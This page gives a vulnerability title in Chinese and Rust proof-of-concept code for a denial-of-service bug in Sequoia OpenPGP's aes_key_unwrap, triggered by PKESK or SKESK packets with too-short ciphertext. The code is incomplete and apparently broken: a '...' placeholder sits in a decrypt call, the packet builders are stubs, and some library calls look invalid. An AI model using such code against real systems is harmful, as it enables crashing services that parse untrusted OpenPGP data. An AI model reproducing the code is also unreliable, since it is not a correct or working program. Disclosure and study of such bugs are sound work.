CVE-2025-67897 Sequoia aes_key_unwrap拒绝服务漏洞

// CVE-2025-67897 PoC - Sequoia aes_key_unwrap DoS // This PoC demonstrates triggering panic via short ciphertext use sequoia_openpgp::{Packet, PacketPile, parse::Parse}; use sequoia_openpgp::policy::StandardPolicy; fn main() { // Create a crafted OpenPGP message with short ciphertext // that will trigger panic in aes_key_unwrap let policy = &StandardPolicy::new(); // Malicious PKESK packet with too short ciphertext let malicious_pkesk = create_short_ciphertext_pkesk(); // Attempt to parse and decrypt let packets = PacketPile::from(&malicious_pkesk[..]); match packets { Ok(pile) => { // This will trigger panic when processing for packet in pile.descendants() { if let Ok(_decrypted) = packet.decrypt(policy, ...) { // Processing continues } } }, Err(e) => println!("Parse error: {}", e), } } fn create_short_ciphertext_pkesk() -> Vec<u8> { // Construct PKESK with ciphertext shorter than expected (e.g., 7 bytes) // Normal ciphertext should be multiple of 8 bytes, minimum 16 bytes let short_ciphertext = vec![0u8; 7]; // Too short! // Build PKESK packet structure let mut pkesk = Vec::new(); pkesk.push(0x84); // PKESK version 3 tag // ... add key ID, algorithm, and short_ciphertext pkesk } // Alternative: Craft SKESK with insufficient ciphertext length fn create_short_ciphertext_skesk() -> Vec<u8> { let short_ciphertext = vec![0u8; 3]; // Insufficient length // Build SKESK packet with short ciphertext to trigger panic let mut skesk = Vec::new(); skesk.push(0x04); // SKESK version 4 // ... add ESK with short ciphertext skesk }